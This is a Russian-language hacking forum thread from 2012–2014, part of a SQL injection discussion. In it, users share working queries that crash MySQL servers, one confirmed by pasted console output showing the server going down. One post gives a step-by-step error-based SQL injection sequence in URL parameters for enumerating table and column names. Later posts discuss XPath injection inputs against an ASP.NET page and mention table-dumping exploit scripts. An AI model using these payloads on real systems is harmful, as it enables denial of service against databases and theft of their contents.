Старый 30.08.2012, 17:41   #21
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию

Не знал куда запостить, сюда наверно логичнее всего...

На статью не тянет, скорее заметка... Но тем не менее просто нужная информация...

Итак, если нам вдруг понадобится срочно перезагрузить MySQL, а прав на RELOAD нет, чтобы выполнить
Код:
FLUSH PRIVILEGES;
нам могут помочь следующие способы:

Способ №1:

Самый старый из найденных мной, но ни разу нигде не сработавших.

Тем не менее человек на этом форуме утверждает, что это возможно...

Тема 2008 года =)

Кратко: MySQL падает так как надо указывать имя триггера в виде `mydb`.`mytrigger`, а не просто mytrigger.

Код:
mysql> CREATE TRIGGER mytrigger AFTER INSERT
    ->     ON `mydb`.`mytable` FOR EACH ROW
    -> BEGIN END;
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
OC = Windows XP SP 2
MySQL 5.0.16


Проверил работоспособность на Centos-6.3 2.6.34

Скрин приведён ниже.



Результат - Способ не отработал.


Способ №2:

Заключается в эксплуатации бага #63775

Кратко: MySQL падает при чтении заголовка, следующего за удалённой записью.

Код:
#
# Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
#
 
-- source include/have_innodb.inc
 
CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;
 
INSERT INTO bug13510739 VALUES (1), (2), (3), (4);
 
DELETE FROM bug13510739 WHERE c=2;
 
HANDLER bug13510739 OPEN;
 
HANDLER bug13510739 READ `primary` = (2);
 
# this one crashes the server IF the bug IS present
HANDLER bug13510739 READ `primary` NEXT;
 
DROP TABLE bug13510739;
На оффициальном сайте говорится, что пофиксено начиная с версии 5.1.62

Решил испытать на своей системе, где версия MySQL 5.1.61.

Скрины ниже.





Зависимости:

MySQL < 5.1.62


Результат - падения MySQL не выявлено


Способ №3:

Вроде как найден участником форума Light и описан в том числе и в этом посте.

Код:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
Скрины ниже.



Зависимости:

MySQL > 3


Результат - успешный перезапуск MySQL. PROFIT !!!
BigBear вне форума   Ответить с цитированием
Старый 30.08.2012, 20:54   #22
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

Код:
20:58:32||/home/kai-> mysql -utest -p12345
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.5.25 Source distribution

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select 1 from mysql.user procedure analyse ((select 1 from (select 1)a),1);
ERROR 1142 (42000): SELECT command denied to user 'test'@'localhost' for table 'user'
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
+--------------------+
2 rows in set (0.09 sec)

mysql> use test;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql> create table lol;
ERROR 1113 (42000): A table must have at least 1 column
mysql> create table lol(`loltest` int(10));
Query OK, 0 rows affected (0.17 sec)

mysql> select 1 from test.lol procedure analyse ((select 1 from (select 1)a),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> show status like 'Uptime';ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysql/mysql.sock' (2)
ERROR: 
Can't connect to the server

mysql> show status like 'Uptime';
No connection. Trying to reconnect...
Connection id:    1
Current database: test

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime        | 2     |
+---------------+-------+
1 row in set (0.00 sec)
гыгы

Последний раз редактировалось 12309; 30.08.2012 в 21:04.. Причина: пардон, я лол
12309 вне форума   Ответить с цитированием
Старый 31.08.2012, 11:18   #23
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

BigBear
2-ой способ надо как в тесте отправлять пакетно, а не руками вбивать.
SynQ вне форума   Ответить с цитированием
Старый 02.10.2012, 15:11   #24
fraIzer
 
Аватар для fraIzer
 
Регистрация: 06.07.2010
Сообщений: 5
Репутация: 1
По умолчанию Определение имён полей в 4-ой версии mysql

Не знаю было ли это уже тут, вроде ничего похожего не нашёл, в любом случае думаю информация для кого-нибудь будет полезна...

При инъекции в 4-й ветке мускула можно вполне достоверно узнать имена колонок, ЕСЛИ есть вывод сообщений об ошибках mysql. Полезно в особенности тогда, когда имена колонок далеко не дефолтовые или используется префикс и т.д. и т.п.

Узнаём кол-во полей в таблице, к примеру:
Код:
http://www.site.ru/script.php?id=22+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12/*
Перебором узнаём имя таблицы. Предположим, что имеется таблица users:

Код:
http://www.site.ru/script.php?id=-22+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12+from+users/*
Узнаём сколько всего колонок в этой таблице:

Код:
http://www.site.ru/script.php?id=-22+and+(select+*+from+users)=(1)/*
Получаем вывод к примеру:
Цитата:
Operand should contain 6 column(s)
6 - это и есть кол-во колонок в таблице users.

Далее попытаемся узнать название первого поля в запросе:
Код:
http://www.site.ru/script.php?id=-22+and+(select+*+from+users+union+select+mod(1,0),2,3,4,5,6+limit+1)=(1,2,3,4,5,6)/*
(1,2,3,4,5,6) - нужно для того что бы не возникло ошибки из-за того, что подзапрос возвращает больше одного значения, mod - тут всё понятно. Результат предположим: "Column 'id' cannot be null". id - и есть имя первой колонки. Далее пробуем узнать имя второго поля:

Код:
http://www.site.ru/script.php?id=-22+and+(select+*+from+users+union+select+1,mod(1,0),3,4,5,6+limit+1)=(1,2,3,4,5,6)/*
Результат предположим: "Column 'username' cannot be null". username - имя второй колонки.

Далее по аналогии...

В четвертой ветке работает с 4.1, т.к. до этой версии нельзя использовать подзапросы и в некоторых версиях 5-ой ветки...

Собственно тема стара и обсуждалась уже давно на hackzona.ru, авторство хз чьё, по словам Scipio вроде некий Paic. В общем на усмотрение модераторов, если надо, то пусть оставят или перенесут куда надо, если же нет, пускай сносят...
__________________
Party for everybody Dance

Последний раз редактировалось fraIzer; 03.10.2012 в 05:43..
fraIzer вне форума   Ответить с цитированием
Старый 24.02.2013, 20:29   #25
aspi
 
Аватар для aspi
 
Регистрация: 19.09.2012
Сообщений: 26
Репутация: -4
По умолчанию пост

Цитата:
Сообщение от Dr.Z3r0 Посмотреть сообщение
Продолжаем апдейтить статью =) Недавно потребовалось дампить таблицу с 1 милионом записей через скулю. Было перелопаченно множество инфы, написан эксплойт под один из методов, и заодно я решил добавить описание всех известных методов в статью.



Приатаченные файлы (см. подробнее в статье):
benchmark_helper.txt - Генерирует SQL запрос для вывода всей таблицы в одну строку с помощью Benchmark
group_dumper.txt - Дампер через GROUP_CONCAT, универсальный
group_dumper_id.txt - Дампер через GROUP_CONCAT для таблиц с столбцом уникальных числовых индетификаторов
Для двух последних создайте папку tmp рядом со скриптами с правами на запись.
реализуйте для поста
aspi вне форума   Ответить с цитированием
Старый 15.11.2013, 13:30   #26
isav48
 
Регистрация: 15.11.2013
Сообщений: 2
Репутация: 0
По умолчанию

Для тренировки методов описаных в статье идеально подходит NOWASP (Mutillidae).
isav48 вне форума   Ответить с цитированием
Старый 20.02.2014, 18:46   #27
w00d
 
Регистрация: 20.02.2014
Сообщений: 2
Репутация: 0
По умолчанию

при подстановке к переменной action, Default.aspx?action=' вылетает ошибка. что это?
при выполнении Default.aspx?action=' or 1=1 or' пустая страница.
Couldn't load control: System.Xml.XPath.XPathException: This is an unclosed string. at MS.Internal.Xml.XPath.XPathScanner.ScanString() at MS.Internal.Xml.XPath.XPathScanner.NextLex() at MS.Internal.Xml.XPath.XPathParser.ParsePrimaryExpr (AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseFilterExpr( AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseUnionExpr(A stNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseMultiplicat iveExpr(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseRelationalE xpr(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseEqualityExp r(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseOrExpr(AstN ode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParsePredicate(A stNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseStep(AstNod e qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseRelativeLoc ationPath(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseRelativeLoc ationPath(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseRelativeLoc ationPath(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseRelativeLoc ationPath(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseLocationPat h(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseUnionExpr(A stNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseMultiplicat iveExpr(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseRelationalE xpr(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseEqualityExp r(AstNode qyInput) at MS.Internal.Xml.XPath.XPathParser.ParseOrExpr(AstN ode qyInput) at MS.Internal.Xml.XPath.QueryBuilder.Build(String query, Boolean allowVar, Boolean allowKey) at System.Xml.XPath.XPathExpression.Compile(String xpath, IXmlNamespaceResolver nsResolver) at System.Xml.XPath.XPathNavigator.Select(String xpath) at System.Xml.XmlNode.SelectSingleNode(String xpath) at K.Online.WebApp.Default.Page_Load(Object sender, EventArgs e)


Если передать Default.aspx?action=1
Couldn't load control: System.IO.InvalidDataException: Found invalid data while decoding. at K.Online.WebApp.Default.Page_Load(Object sender, EventArgs e)

за гуглив наткнулся на Xpach inj неизвестный для меня вид атаки. сорь не там написал.

Последний раз редактировалось w00d; 20.02.2014 в 19:05..
w00d вне форума   Ответить с цитированием
Старый 20.02.2014, 21:20   #28
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

raz0r описывал атаки в своем блоге.

по факту, в xpath удобно обходить авторизацию, а через boolean-based можно вообще весь xml вытащить. Чуток посмотри документацию и встроенные функции.
И Арс вроде это тоже описывал. Единственное что, я как-то мучился с питоном, у которого не все xml парсеры умеют конструкцию //foo/bar[] | //foo/foo
хз как с этим в дотнете.

Последний раз редактировалось HeartLESS; 20.02.2014 в 21:41..
HeartLESS вне форума   Ответить с цитированием
Ответ

Метки
иньекция, мускул, injection, mysql, sql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot